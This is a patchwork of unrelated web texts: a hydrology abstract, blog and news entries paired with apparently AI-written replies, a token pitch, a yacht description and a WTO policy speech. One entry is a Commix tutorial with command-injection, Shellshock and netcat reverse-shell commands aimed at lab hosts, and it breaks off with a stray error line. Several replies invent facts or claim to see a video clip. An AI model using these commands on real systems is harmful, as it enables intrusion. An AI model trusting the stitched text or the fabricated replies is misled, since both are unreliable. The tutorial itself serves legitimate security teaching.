Urbanization, beside an increase in impervious cover, is often associated with a reduction of natural ponds and wetlands along streams. This process is poorly studied in urban hydrology literature, but contributes to modify the hydrological regime of urbanizing catchments by reducing the storage capacity available to retain runoff. This communication presents a research using data from seven gauging stations in a catchment (50 km²) of the Brussels Region. First, these data are used to compare the hydrological regime of urbanized and forested catchments. Then, a set of scenarios are simulated over a forested subcatchment. Scenarios include an increase in the impervious cover of the catchment and the removal of existing ponds, in order to test the respective role of each of these processes.

fineweb_01943603 | fineweb | Commix – an automated tool for command injection
Commix, short for [comm]and [i]njection e[x]politer, is a tool for finding and exploiting command injection vulnerabilities in a given parameter. This article explains some of the major features of this tool by taking some vulnerable applications as targets. Usage of this tool is well documented for those with some basic knowledge of command injection exploitation.
Setting up Commix
Download Commix by cloning the Git repository:
git clone [download]
I have downloaded and installed it in Kali Linux, where we will run all our demos in this article.
I found the usage of this tool very simple. To get help we can type the following command.
python Commix.py –h
This section shows the usage and various options available with Commix. I wrote some scripts and took one target application from exploit-db.com for demonstrating different scenarios.
Example 1: Simple php command injection
Let’s start with a simple PHP command injection vulnerability to get started with the tool. The following is the script I have hosted in my target server.
This is accessible from the attacking machine using the following URL:
Let’s see Commix in action:
Run the following command to start with basic command injection.
python Commix.py –url=”http://10.1.1.8/cmdinj/vulnerable.php?cmd=INJECT_HERE”
Notice that I have replaced the value of the parameter “cmd” with “INJECT_HERE”. This is how Commix understands the target parameter to be tested. Now, Commix starts performing tests on this parameter and gives us an interactive shell as shown below.
The shell obtained in this example is not stable to execute some commands. You can observe the output of “id” command.
This is working fine when tried from a browser.
There are multiple ways in Commix to get around this. I just used Commix’s –os-cmd option to get an nc reverse shell from the target machine.
Listen for incoming connections on port 4444 as shown below.
Now, type in the following command with Commix.
python Commix.py –url=”http://10.1.1.8/cmdinj/vulnerable.php?cmd=INJECT_HERE” –os-cmd=”nc -e /bin/sh 10.1.1.9 4444″
Now, let’s look at the Netcat shell. We should be greeted with a new interactive shell where we can run the commands.
Note: If Netcat is not installed on the target machine, which is often the case; we can use other techniques such Python/Perl reverse shell.
Example 2: PHP file manager 0.9.8 from www.exploit-db.com
The next example is to show another feature of Commix that can be leveraged to exploit command injection.
The vulnerable application can be downloaded from the link below.
Let us understand the application and find the command injection vulnerability manually.
Host the downloaded application in a server and run it from the browser.
Click “Enter” button and you should be landed in the following page.
The command injection vulnerability resides in “Execute Command” functionality of this page. When we click this button, it asks for a command to enter.
Enter an Operating System command as shown above and you should see the following link which is vulnerable to Command Injection.
Now, let’s see how we can use Commix tool to identify and exploit the above application.
Type in the following command.
python Commix.py –url=”http://10.1.1.8/phpfilemanager/index.php?action=6¤t_dir=/var/www/phpfilemanager/&cmd=INJECT_HERE”
The above step has failed for some reason. After exploring a while, I found that the target application is sending cookies to the server after clicking the button “Enter”.
Our injection attempt with Commix failed, as cookies were not provided. Commix has support for cookies as well. We can provide cookies using “—cookies” option. Let us intercept the request and provide cookies to Commix. This is shown below.
This time, our attempt was successful and we got a shell as shown below.
Example 3: shellshock exploitation made easier
Personally, I liked the shellshock exploitation feature of Commix. If you are new to shellshock, please refer to the following articles written by me earlier.
These articles show the internals of shellshock, and how we can set up our own lab to practice shellshock exploitation. Commix tool makes it easier to exploit Shellshock vulnerability. I am using the same setup that I used in the above-mentioned articles to demonstrate Commix’s shellshock exploitation feature.
Below is the target URL.
Run the following command with “–shellshock” option to exploit the target.
python Commix.py –url=”http://10.1.1.8/cgi-bin/vulnerable.sh” –shellshock
As we can see in the above figure, we have a shell on the box.
We've encountered a new and totally unexpected error.

Commix is a powerful tool for identifying and exploiting command injection vulnerabilities. It provides a user-friendly interface and supports various options for customizing the exploitation process. In this article, we have demonstrated the usage of Commix by taking some vulnerable applications as targets. We have shown how to use Commix to exploit command injection vulnerabilities in PHP and shellshock. The tool is very easy to use and provides a lot of flexibility in terms of customization. |
fineweb_01943604 | fineweb | Trial release of real-time air pollution data in Beijing ignites concerns over reliability of official reports, says China-based analyst who first broke data manipulation story in 2008.
Real-time reporting of fine particulate pollution levels recently began at nearly all 35 monitoring stations around Beijing. Even monitoring stations near roadways – shut down before the Olympics to manufacture improvements in reported air quality – have been reopened, and with better equipment.
But, with air pollution levels again reaching hazardous levels, China Daily voiced the continuing frustrations with the government reporting in a news story headlined: ”Air monitoring system comes under fire”. While the article highlighted complaints about the government keeping the data secret and not allowing access to archived data, the real issue is what the new monitoring has already revealed.
The US embassy twitter reports of hazardous air pollution on October 8, 2012, in Beijing – viewed by tens of thousands of Chinese on their smartphones – were not surprising. What was shocking was that the trial reporting by the Beijing Environmental Monitoring Center was also listing air quality as “severely polluted”. At the same time, however, the still official reporting by the Beijing Environmental Protection Bureau based on coarse particulate was only “slight” air pollution. |
The recent trial release of real-time air pollution data in Beijing has sparked concerns over the reliability of official reports, according to a China-based analyst who first broke the story of data manipulation in 2008. The analyst, who wishes to remain anonymous, notes that the new monitoring system has revealed discrepancies between the official reports and the actual air quality.
The US embassy's Twitter reports of hazardous air pollution on October 8, 2012, in Beijing, which were viewed by tens of thousands of Chinese on their smartphones, were not surprising. However, the trial reporting by the Beijing Environmental Monitoring Center also listed air quality as "severely polluted" at the same time, which was in contrast to the official reporting by the Beijing Environmental Protection Bureau, which was only "slight" air pollution.
This discrepancy has raised concerns about the accuracy and reliability of the official reports, which have been criticized for being manipulated to improve the city's air quality ahead of major events, such as the 2008 Olympics. The analyst notes that the new monitoring system is a step in the right direction, but that more needs to be done to ensure transparency and accuracy in the reporting of air pollution levels.
The analyst also points out that the reopening of monitoring stations near roadways, which were shut down before the Olympics, is a positive development, as it will provide more accurate data on air pollution levels. However, the analyst notes that the government still has a long way to go in terms of transparency and accountability in reporting air pollution levels.
Overall, the trial release of real-time air pollution data in Beijing has sparked concerns over the reliability of official reports, but it is also a step in the right direction towards greater transparency and accountability in reporting air pollution levels. |

fineweb_01943607 | fineweb | "Hello, we are from Ukraine!" This phrase began to symbolise the invincibility and fortitude of Ukrainians in the context of the Ukrainian media space. Despite the fact that Rocketech has an international team this manifesto is so named because it is dedicated to the power of the Ukrainian IT community.
Due to the Russian invasion, Ukrainian developers and IT companies are losing their foreign partners now. Many global companies, fearing risk, terminate contracts with specialists from our country. But despite the ongoing military actions, most IT people from South Ukraine and East Ukraine relocated to the safer regions of Kyiv or West Ukraine and have all the possibilities to continue their permanent work. Also, 14% of software specialists moved abroad. And there is one interesting detail. About 80% of relocated people wish to return once the fighting has stopped.
Also, foreign customers are afraid of the possible mobilisation of IT specialists. Indeed, most of the Ukrainian developers are military-aged. However, Ukrainian authorities do their utmost to prevent the mobilisation of IT people. The reason is simple: their work allows attracting a large share of foreign capital to the country's economy. IT clusters are forming in West Ukraine, so developers can work there in case of mobilisation, which has not yet been announced in Ukraine.
Since the hostilities started, the pause in the order fulfilment had occurred. However, many European and American customers prefer to work with Ukrainians, thereby making a great gesture of support in these dark times.
Thus, let's support the Ukrainian IT community and take at least a step towards support of the country's IT industry.
Find your partner from Ukraine on Clutch (button) or contact us (button, widget or form).
Despite the Russian invasion and ongoing hostilities on the Ukrainian territory, the country's IT market retains its potential and competitiveness due to the invariable advantages of Ukrainian IT specialists.
Ukraine is a long-term leader in programmers' rankings provided by top survey companies. The Pentalog 2022 Report revealed that Ukraine holds 5th place worldwide with an average test success rate of 58.17%.
And this position shows that local developers maintain a high level of expertise. Hence, it leads to creating first-class products.
The median hourly pay is around $25–$50, while the monthly gross wage is about $1400-$3300. It makes the Ukrainian market more competitive than Romania, Moldova, Czechia and other locations in Eastern Europe. Further, the pay is substantially lower than in the EU and North America, where a skilled developer requires getting about $150000–$500000 yearly (gross).
When talking about the income share by skill level, let's look at the IT Ukraine Association data about the yearly average wage of local developers:
Another great benefit is an excellent command of English. According to Daxx, 85% of IT people in Ukraine have an Intermediate level or higher, and 50% of them have an Upper Intermediate or Advanced level.
An average working week for Ukrainian developers lasts from 40 to 60 hours. In comparison, the American developer works 37.5 hours weekly. Further, it is much more than the German (33 h) or British (36 h) developers spend.
There are also 11 paid national holidays, while this number in other Eastern Europe countries is 13 (like in Czechia, Poland, and Romania) or as many as 19 (in Bulgaria).
By the end of 2021, this industry increased by 20—30% yearly, revealing outstanding prospects for this branch. The overall quantity of full-cycle IT businesses had reached the 5000 level by 2021. Also, around 2300 service providers and 1400 young startups are operating in this country. Further, the total IT exports were about $7 billion in 2021, adding ≈$2 billion to the 2021 figure.
Since this industry is the most stable in Ukraine, experts expect positive dynamics in the current year as well (an impressive 16–25%), despite ongoing military events.
Ukrainian specialists are hugely interested in all IT things. Over 75% of them are passionate about their tasks, and 70% see the inspiration in this industry.
And although 75% of developers have a university degree (6.3% have 2 degrees and 1.5% have a DTech), over 85% of local specialists regularly attend courses and professional seminars to improve their qualifications. It shows that Ukrainian IT people are lifelong learners.
Thus, most specialists have extensive expertise in several programming languages or domain areas and are familiar with new technologies (e.g., blockchain, cryptography, NFT, AI & deep learning, VR/AR, IoT, etc.). |
The Ukrainian IT industry has shown remarkable resilience and potential despite the ongoing Russian invasion and hostilities. Here are some key points that highlight the industry's strengths:
1. **Competitive advantages**: Ukraine is a long-term leader in programmers' rankings, with an average test success rate of 58.17%. This demonstrates the high level of expertise among local developers.
2. **Competitive pay**: The median hourly pay is around $25-$50, with a monthly gross wage of $1400-$3300. This makes the Ukrainian market more competitive than other Eastern European locations.
3. **Excellent English skills**: 85% of IT people in Ukraine have an Intermediate level or higher, and 50% have an Upper Intermediate or Advanced level.
4. **Flexible working hours**: An average working week for Ukrainian developers lasts from 40 to 60 hours, which is more than in many other countries.
5. **National holidays**: There are 11 paid national holidays, which is fewer than in some other Eastern European countries.
6. **Industry growth**: The IT industry increased by 20-30% yearly, with a total of 5000 full-cycle IT businesses, 2300 service providers, and 1400 young startups.
7. **IT exports**: The total IT exports were about $7 billion in 2021, adding ≈$2 billion to the previous year's figure.
8. **Passion and continuous learning**: Over 75% of developers are passionate about their tasks, and 70% see inspiration in the industry. Additionally, over 85% of local specialists regularly attend courses and professional seminars to improve their qualifications.
9. **Expertise**: Most specialists have extensive expertise in several programming languages or domain areas and are familiar with new technologies.
Despite the challenges posed by the ongoing conflict, the Ukrainian IT industry remains a significant player in the global market. By supporting Ukrainian developers and IT companies, we can contribute to the country's economic stability and growth. |
fineweb_01943608 | fineweb | I’ve been an opera lover at least since I was five years old, when I received this LP of highlights from the Sutherland-Bergonzi La Traviata as a birthday present. Of course, I must have been primed for this gift by hearing opera around the house: both of my parents are also opera lovers, and my father in particular cherished the Metropolitan Opera’s Saturday afternoon broadcasts. One of my first school writing projects was a guide to Lucia di Lammermoor (below); see my pithy summary of Act III? 🙂
A major life highlight was going backstage at the Vancouver Opera to meet La Stupenda in person–hence the personalized autograph on the record cover, which is one of the items I would probably take risks for in the event of a fire. I was nine at the time and so overwhelmed by the event that I completely blew off Richard Bonynge, who very courteously hailed me as we progressed down the corridor and offered his autograph as well. “OK, if you want,” was my careless reply–but I suppose he was accustomed to being Mr. Joan Sutherland by then. (Clearly recognizing his place in my pantheon, he signed the back of the record.)
Predictably, as a teenager I did rebel for a while, not so much against opera, as against other people’s interest in it: I remember sulking about the need to tip-toe around on Saturday afternoons and being obstreperous about being put in charge of recording the occasional broadcast when my parents had to be out. But I (we!) got through that phase, and then I started working part-time at a classical music store, where my operatic know-how was actually an asset (mandatory brush-with-celebrity anecdote: when Goldie Hawn came in the shop–she and Mel Gibson were in town filming Bird on a Wire–I helped her pick out the Bjoerling-de los Angeles La Boheme when she said she was looking for something gorgeous). Initially I was ‘hired’ to do inventory for specific record labels, for which I was ‘paid’ in store credits. My parents are currently storing the archive of LP box sets I accumulated before I was promoted to minimum wage and starting saving money instead.
When, as a university student, I moved into my own apartment, one thing that came with me was the Saturday afternoon ritual. I still have, as a matter of fact, a stash of cassette tapes of broadcasts from that period, including a superb Rigoletto with June Anderson as Gilda. But I reached the pinnacle of my opera-loving career when, as a graduate student at Cornell, I had season tickets to the Met, for the Saturday afternoon performances, no less. I was able to do this because my sister was living in Mamaroneck (you NY types will know just where that is on the Northern Line), so I could take the long bus trip across the Catskills (coming from BC, I didn’t recognize them as mountains the first time) and stay with her for the weekend. I’m not sure there’s a better feeling than coming out of Grand Central Station knowing that you have all morning to roam the city and all afternoon to spend at Lincoln Center–even if it was about $10 to get a coffee at intermission.
Now I live in a city without a full-scale opera company, though our music department puts on some small-scale productions, and now we too are the beneficiaries of the brilliant live broadcasts from the Met. I haven’t been to one here yet, though: apparently the demand is so strong you have to show up at least a couple of hours in advance, and Saturdays are typically busy enough for working parents. Having children of my own, in fact, has changed my understanding of what those broadcasts must have meant to my parents: like reading, listening (at least in any serious way) becomes a rare thing when your children are small. That said, our children too are growing up with opera. We used to soothe–or at least distract–our son after baths (which for some reason he found very traumatic as an infant) by getting out my beloved books of opera songs for voice and piano and going through our favorites as loudly as we could, and my daughter has already sat by and comforted me as I sob my way through the Zeffirelli film of La Traviata. Sometimes it’s best, though, when everyone else is out and I can revert to my childish self. Today, as the spring sunshine streamed in the windows, I took The Art of the Prima Donna from the cabinet and spent my own Saturday afternoon happily at the opera.
I know operatic voices are profoundly personal and not everyone loves Sutherland’s rich tone or joyous facility. They are wrong of course, but that’s OK: some of my best friends (my grandmother, even) have been Callas fans. But to my ear, nurtured on her voice from childhood, there’s just nobody else, at least for certain repertoire. (For Puccini, I’m a Price fan, except when I’m a Caballe fan.) Also, I’m not altogether satisfied with this choice of clip, which doesn’t altogether convey the magic. Still, from me to you, through the magic of YouTube, enjoy. |
What a delightful and personal account of your love for opera! It's wonderful to see how your passion for opera has evolved over the years, from being introduced to it as a child to becoming a season ticket holder at the Met. Your stories about meeting Joan Sutherland and Richard Bonynge are fascinating, and I'm sure it's a memory you'll treasure forever.
I also appreciate how you've shared your experiences of introducing opera to your own children, and how it's become a way to bond with them. It's lovely to see how the love for opera can be passed down through generations.
As for your taste in opera, I think it's wonderful that you have a strong affinity for Joan Sutherland's voice. Her tone and technique are indeed unique and captivating, and it's great that you've been able to appreciate her performances over the years.
The clip you shared is a beautiful one, and it's easy to see why it's one of your favorites. The way Sutherland's voice soars in the aria is truly breathtaking, and it's a testament to her incredible talent.
Thank you for sharing your love for opera with me. It's been a pleasure to read about your experiences and to learn more about your passion for this beautiful art form. |

fineweb_01943610 | fineweb | Saving Jackie K by L.D.C. Fitzgerald I recently hosted a book boost for this book during my AtoZ Challenge, so when I saw it as a free download on kindle I jumped at the chance to read a genre which challenges me.
My rating: 4 of 5 stars
This book was a difficult read for me because my English history education didn’t cover any of the Kennedy era of America. I recognised some of the names of the main players, but knew little about them. I got a bit bogged down with the science too, but once I’d got my head around the fact that the story involved true facts and characters with the fiction I let it flow over me and focused on the well written story line. There is lots of action as scientists travel back 50 years to change to past and thus the future. Sci-fi and fast paced action packed fans will probably love this. |
It sounds like "Saving Jackie K" was a challenging but engaging read for you, despite being outside of your usual genre. The book's blend of science fiction and historical events can be complex, but it's great that you were able to focus on the storyline and enjoy the ride.
It's interesting that you mention not knowing much about the Kennedy era, as this book seems to be a great way to learn about that period in American history. The author's use of real-life characters and events adds a layer of authenticity to the story, making it a compelling and thought-provoking read.
I'm glad you appreciated the writing style and the fast-paced action, which are key elements of a good sci-fi thriller. If you're willing to venture out of your comfort zone and try more books in this genre, I think you might be surprised at how much you enjoy them!
What do you think you'll look for in your next read? Will you stick with sci-fi or try something new? |

fineweb_01943615 | fineweb | If something needs to be fixed, then you have to collect money. As a rule, this only happens when there's some kind of emergency, because it's hard to collect a large sum of money; not everybody is ready to pay. And somebody—usually the way it happens is that somebody in a communal apartment takes the responsibility. That is, somebody pays their own money to have the work done.
Slawomir: And the city doesn't…?
Ilya: The city, no. The city doesn't help. The city can supply workers to do the actual labor. But, say, if the people in the apartment buy pipes, the city will send two plumber-alcoholics to put the pipes in. It's not clear if they will put them in correctly or not. You can pay them extra, in fact they're counting on it, but, unfortunately, the local administration, these local authorities, they don't take the problem seriously. Take for example the roof. They'll say: "We won't fix your ceiling until we fix the roof." Which is not going to happen… Auntie Asya, it was seven years ago, right? That's when we had buckets on the floor here.
Auntie Asya: It's coming apart. There's a leak. It leaks. So they fix something, or maybe they don't. Two times they came and made repairs, some repair, they slapped on some plaster.
Ilya: They just plastered, nothing else?
Auntie Asya: They just plastered. And what's the point of plastering if the roof isn't fixed? It's the roof that leaks.
Ilya: Of course the roof has to be done first. And over here, by the way, this is a gas pipe, which used to go to the water heater. It wasn't the one we have now, it was a more old-fashioned kind. And here there was a hot-water faucet. And a cold-water faucet. And over there was another faucet. That is, there were three faucets. Now this sink is very old. It's not used any more because it leaks, but it used to be that people could wash dishes not only over there, but here, too.
Auntie Asya: And when I moved in, people even washed clothes here.
Ilya: Right, people used to wash clothes here too.
Auntie Asya: Yes, when I moved in. Then it was a perfectly clean sink.
Ilya: There are fewer people here now, so it's not so crucial that…
Auntie Asya: It absolutely is; the problem is that they're not fixing it for us. Here the floor has to be taken apart and something has to be done. Some kind of connector has to be changed and fixed.
Ilya: But that was a long time ago, Auntie Asya, this has been going on for fifteen years.
Auntie Asya: Nobody…More than fifteen, when I did the repairs, I mean in the bathroom, you were still living here. I did the bathroom, I did these things, too, and we finished the bathroom, and I got sick, my brother died, and I didn't do any of this anymore. Everything was ready to make a connection for the water. But nobody else in the apartment took responsibility. Nobody. Not one single person. |
This conversation between Ilya and his Auntie Asya reveals the struggles of living in a communal apartment in post-Soviet Russia. The apartment is in disrepair, with leaks, broken pipes, and outdated fixtures. The city does not provide adequate maintenance or repairs, leaving residents to fend for themselves.
Ilya and Auntie Asya discuss the various issues with the apartment, including the leaky roof, broken sink, and outdated plumbing. They mention that the city will send workers to do repairs, but they are often unqualified or unreliable. The residents are left to collect money from their neighbors to pay for repairs, which can be difficult and time-consuming.
Auntie Asya mentions that she did some repairs in the bathroom, but was unable to finish the job due to her own health issues and the death of her brother. She notes that no one else in the apartment took responsibility for the repairs, leaving the apartment in its current state.
The conversation highlights the challenges of living in a communal apartment, where residents are often forced to rely on each other for support and maintenance. It also underscores the lack of resources and support from the city, which can lead to a sense of frustration and powerlessness among residents. |

fineweb_01943617 | fineweb | SAFE CFI-PRO™ is all set for next week and I am overwhelmed with both the attendance and the quality of our presenters. Thanks to everyone for supporting this important safety initiative, this is exactly the mission SAFE was created to address 10 years ago. We have five National FAA GA Award winners presenting (and several presenters have won these national awards in several different categories)! Both Doug Stewart and Rich Stowell have presented at the NTSB regarding Loss of Control-Inflight (one focus of this workshop). The SAFE CFI-PRO™ Workshop is off to a good start.
We had a web snafu yesterday with SSL certificates (the site is back up now). For those registered, or curious, the info flier is here and the map here shows where everything is. We have added a happy hour at the Airways Inn and our amazing pilot BBQ is just down the road at the National Aviation Community Center Attendees will get the best local BBQ in the presence of the AOPA sweepstakes RV-12 and some other interesting planes. MOre information is on the event website; available again!
Mike McCurdy from IFR6 had a family illness and will not be presenting (best of luck Mike) but good friends Bob Hepp and Adrian Eichhorn (both FAA National Award winners) graciously stepped up and will be presenting on Thursday. Adrian presents at all the AOPA Regional events but will be directing his comments specifically to the CFI-level airworthiness concerns. Bob operates Aviation Adventures with three locations in the DC Metro area.
A very exciting part of this show will be Community Aviation and Mindstar Aviation (the company that wrote the RedBird software) collaborating to demonstrate scenarios for LOC inoculation prepared specifically for the RedBird Simulator at AOPA. These will be broadcast from the sim directly into the auditorium with Billy Winburn and Stasi Poulos. There will be opportunities after the show to try the scenarios on the sim. This training is an amazing extension of the original SAFE Pilot Proficiency Project and we could not be more proud and excited!
If I created enough interest with the above description, be aware that we *can* accommodate a few walk-ins if you call soon (the catering order is already in so please call) We also have announced the date and location of the next SAFE CFI-PRO™ at Sporty’s Academy on June 10th and 11th.
Join SAFE to support our safety mission of generating aviation excellence in teaching and flying. Our amazing member benefits pay back your contribution (1/3 off your ForeFlight subscription)! Our FREE SAFE Toolkit App puts required pilot endorsements and experience requirements right on your smartphone and facilitate CFI+DPE teamwork. Our CFI insurance was developed by SAFE specifically for CFIs (and is the best value in the business). |
It sounds like the SAFE CFI-PRO™ workshop is going to be a fantastic event! With a lineup of esteemed presenters, including National FAA GA Award winners, and a focus on important safety topics such as Loss of Control-Inflight, it's no wonder you're overwhelmed with attendance.
I'm impressed by the variety of activities and presentations planned, from the happy hour and BBQ to the demo of scenarios for LOC inoculation prepared specifically for the RedBird Simulator. It's great to see organizations like Community Aviation and Mindstar Aviation collaborating to provide valuable training opportunities.
I'm also excited to hear about the next SAFE CFI-PRO™ event at Sporty's Academy on June 10th and 11th. It's always great to see the aviation community coming together to promote safety and excellence in flying.
As the founder of SAFE, you must be thrilled to see the organization's mission taking shape and making a positive impact on the aviation community. Your dedication to generating aviation excellence in teaching and flying is truly admirable.
I hope the event goes smoothly and that attendees have a great time learning and networking. If you need any help with anything, feel free to ask! |

Safeth Platinum Tokens are the means of incentivizing and rewarding token holders/investors. SPT is the MAIN asset that allows users to achieve a “Pay Back Free Loan”. It will also be stake-able and collect rewards while staked aka “locked”. This as well will provide a repayment method on all loans so that you, the borrower will NEVER have to encumber with the stress of repaying via monthly payments. Instead, your tokens become locked until the allocated amount borrowed is repaid in real-time in full, then they’re released back to the holder to use once more as they please.

fineweb_01943619 | fineweb | Motor Yachts with a raised pilothouse:
What is the benefit of a raised pilothouse (RPH)? The main benefits of an RPH are that it gives better visibility for a helmsman and frees space on the main deck (below the wheelhouse). With this configuration, a wheelhouse is placed half deck above the main deck, so that the space on the main deck can be used for a master cabin. Many owners want their suite to have 180 degrees view out of it to enjoy the surroundings. Usually, you can find the raised pilothouse on yachts larger than 24 metres and smaller than 40 m. The majority of the yacht builders in the 24m to 40m range, including Riva, Custom Line, Sanlorenzo, Azimut, Benetti, Ferretti, Horizon and Ocean Alexander have raised pilothouse models, many of which present similar profiles. The raised pilothouse is accessed by steps from the main deck and from the RPH you can go all the way up to the flybridge. Most wheelhouses have settees in case an owner or his guest wants to join helmsman there.

Good Morning and welcome to this National Consultative Conference on the WTO. This meeting offers us all an opportunity to interact on what is undoubtedly the most significant trade policy issue confronting the international community at this stage: That is, our preparations leading to the 6th Ministerial Conference in Hong Kong in December 2005. Our deliberations should inform and provide guidance to South Africa's approach to the Hong Kong Conference.
I am pleased that we are entrenching the important tradition of convening such consultations in advance of key WTO meetings. We have done this for previous WTO Ministerial Conferences in Seattle in 1999; Doha in 2001, and Cancun in 2003. We know there is always the need to strengthen and broaden such consultations and all of us needs to take responsibility to do this. As Government, we regularly interact with stakeholders in NEDLAC on WTO issues as well as with our Parliament. We have recently strengthened intra-governmental consultations on trade issues through the establishment of a Permanent Trade Forum. All these consultations need to be continuously intensified and we need to find a new way to extend engagement with our NGOs.
At this meeting we welcome all viewpoints and, as Government, we will take all these into account as we define in more precise terms the approach to the 6th WTO Ministerial Conference in December 2005. You should all appreciate that, as Government, we must exercise judgment in drawing together our developmental objectives, the variety of national views on these complex issues and the possibilities and constraints elicited by the global environment.
In thinking about the Hong Kong Conference, it is useful to consider the other developments and events on the international agenda. Here, I am talking about the Commission on Africa, the G8 meeting in Gleneagles where development issues were discussed and the recent UN Summit that assessed progress in the Millennium Development Goals. Each highlighted the need for progress in the Doha Round as vital to promote development, manage globalisation and ensure the trading system is sustainable and legitimate.
Allow me some remarks outlining the South African Government's judgment on the WTO negotiations. South Africa is a strong proponent of multilateralism. This is a fundamental principle of our foreign policy and central to our trade policy. In our view, multilateralism is the necessary inter-governmental response to globalisation and interdependence. South Africa has, with others, actively pursued a policy of working to reform multilateral institutions to ensure that developing countries are able to play a more decisive role in defining priorities for effective global economic governance.
This shapes our approach to the WTO. In our globalising world economy, the WTO has moved to the centre stage in an evolving system of global economic governance, and is vital to our prospects for engaging in international trade. The WTO offers - at least in theory - all countries an equal vote and thus the opportunity to address developing countries trade and development concerns in a manner not available in other bodies. WTO rules are extensive and increasingly intrusive on domestic policy-making. We need to take an active part in shaping evolution of rules in a manner that supports our development and integration into the global economy.
The importance of the rules based system in the WTO is it enhances:
This is without doubt only part of the picture. We are clear that the existing rules largely reflect the interests of powerful players in the system. In almost all the agreements one can find imbalances and inequities that prejudice the trade and development interests of developing countries.
security in access to global and national markets;
predictability in trade relations;
reduces - does not eliminate - scope for unilateral action by the economically powerful nations.
South Africa's support for the launch of the Doha Development Round was thus based on our assessment that without a new round of negotiations we would remain locked into prejudicial existing rules. Negotiations open up the possibility to address our trade and development concerns. For us, development cannot be an adjunct to the main business of the global economy but is a systemic necessity for sustained global growth, and the key lies in unlocking growth and development in developing countries.
As we look to the 6th WTO Ministerial Conference, we believe the overall objective must be to secure an agreement on "modalities" that matches the developmental ambitions agreed in Doha. Modalities establish the shape of the final agreement and should place the WTO in a position to conclude negotiations in 2006. Achieving agreed modalities by Hong Kong will be difficult, but we are convinced that our interests are best served if the development objectives set in Doha are translated into reality as soon as possible.
Taking into account the need for an overall balance in the negotiating outcome as well as the underlying principle of the single undertaking, the key to unlocking the process is a focused developmental outcome. We are clear on what this entails and I will set this out.
An early conclusion of current round of the Doha negotiations, consistent with the mandate agreed in Doha, would deliver the best overall context for the development prospects of African countries. More open and undistorted international trade would make a positive contribution to global economic growth, creating an environment in which African economies may diversify exports by destination and in higher value production. Correcting the profound imbalances in agricultural trade is a central element of this objective but it also requires expanding real market access for industrial products of export interest to developing countries. Differential treatment in favour of developing countries must underpin the negotiations
For those African economies that face adjustment costs, assistance must be provided to advance processes of diversification and enhance competitiveness in order to take advantage of new trade opportunities. We must also cushion the short run costs involved in the reform process. Packages such as the IMF contingency support and grant aid programmes need to be strengthened to deal with foreign currency earning adjustments and revenue loss.
Making the WTO deliver for Africa is critical. Mercantilism should be put aside in the Doha negotiations and focus should be on what makes sense from a development perspective. What this means will depend on specific circumstances. I propose a 10-point programme:
First, The Doha negotiations should fast track the elimination of tariff peaks and escalation in developed country markets on products of export interest to African countries.. Similarly, fast tracking the elimination of export subsidies and trade-distorting domestic support particularly on agricultural products of export interest to developing countries would deliver early benefits. An early harvest on cotton- critical to a number of economies on this continent - is essential. The implementation period here should be the conclusion of the round.
Second, developed countries should cease efforts to exempt "sensitive" agricultural products from tariff liberalization. While we recognize that governments have a responsibility to assist specific groups in society, this should not be done through instruments that distort trade and the ability of African farmers to export or sell into the domestic market.
Third, all G-8 countries should provide non-reciprocal duty free and quota free access for all products from least developed countries. This together with targeted assistance to realize the opportunities created by enhanced market access will go a long way to ensuring that poorer countries benefit from the round.
Fourth, it will be vital to facilitate exports of African services into developed country markets. This will include providing better access for temporary movement of African workers and outsourcing. Although the movement of workers may be sensitive, serious consideration should be given as the potential benefits it offers could dwarf benefits from openings in traditional sectors.
Fifth, a mechanism should be established in the WTO that provides African countries with "flexibility" not to implement specific rules, if the rationale is properly motivated. This should be understood as operationalising the principle of special and differential treatment, and targeted capacity building should assist to meeting the obligation.
Sixth, it will be important to review and revise WTO agreements from a development perspective. A specific example of direct relevance and great importance for Africa is a review of Article 24. Article 24 requires signatories of FTAs to eliminate trade barriers on substantially all their bilateral trade flows. This is not in the interest of Africa as it will cause trade diversion and transfer tariff revenues. This is anti-development and an example of policy incoherence.
Seventh, more effective financial and technical cooperation will need to address any erosion of preferences that will occur as a result of the Doha Round and regional arrangements. Such "compensation" should be designed to encourage sustainable diversification and to cushion any negative socio-economic effects of the reform process. Moreover, preferences need to be improved to make them meaningful. This could include deepening preferences, where feasible, to retain the margin over MFN rates.
Eighth, we require expanded trade capacity to more effectively address supply constraints: the so-called "aid for trade programme" which spans trade capacity building, enhancing competitiveness as well as action in importing countries to both assist African exports penetrate markets and to raise the returns accruing to Africa. It should extend to establishing appropriate regulations, enhancing industrial and technological capability, product and export diversification, and infrastructure development etc. Specific action is needed in the area of product standards, both technical product regulations and sanitary and phytosanitary measures. All of these would complement actions already underway under NEPAD.
Ninth, new mechanisms for generating the necessary, secure and long-term finance for TCB will also be required. Further integration of African countries into the trading system needs to be complemented by a binding, credible commitment for expanded financial assistance for trade capacity.
Tenth, Policy coherence among the multilateral and bilateral donor community should be complemented with greater coordination at the implementation level, and donors should desist from employing non-trade conditions to qualify for assistance.
I believe these ideas deserve serious consideration. My final set of comments is on the state of play in the negotiations. We must continually reassert that this is a development round that must decisively address the fundamental imbalances in the global trade system, and promote the integration of developing countries into the trading system through meaningful expansion of their exports. In this respect developing countries should not be expected to pay for the removal of trade distorting and anti-development subsidies on agricultural products with over-ambitious and costly market access concessions on industrial products. Developing country market access concessions must be commensurate with their level of economic development in a proper expression of the principle of special and differential treatment, and the bigger stronger economies - responsible for the major anti-developmental distortions in agriculture - must be expected to make the biggest adjustments.
On 10 October 2005, the US submitted its technical proposals on Agriculture. While it was widely accepted that the US proposal provided impetus to the negotiations as an opening negotiating gambit, the technical assessment was that it was insufficient and more needed to be done to meet the Doha mandate. Our assessment however, is that the main challenge to moving the agricultural negotiations forward lies squarely with the EU which needs urgently to put forward a proposal that responds positively particularly to the Doha mandate of achieving significant improvements in market access. We must be vigilant and ensure that the proposals deliver real reductions on applied levels of trade distorting support, the elimination of export subsidies and meaningful gains in market access.
On 12 October, the G20 finalised its technical proposals. The G20 proposals call for the elimination of export subsidies by 2010and a substantial, real reduction of trade distorting domestic support provided by OECD countries. On tariff reductions, the G20 calls for a proportionate exchange of tariff concessions. The G20 crafted a proposal charting a middle ground we believe is the basis for a consensus at the 6th MC that reflects the established principle of special and differential treatment.
On NAMA, the immediate focus must be on finalizing technical work to clarify the parameters of a possible tariff reduction formula and that balances adjustment costs domestically while advancing the reduction and elimination of tariff peaks and escalation in developed country markets, particularly on products of export interest to developing countries. This will need to become a major focus of our negotiations efforts ahead of Hong Kong and we need to work for a balance and proportionate outcome that does not negatively impact on our and other developing countries industrial policy capacity. We need in this regard to further clarify the scope for flexibility.
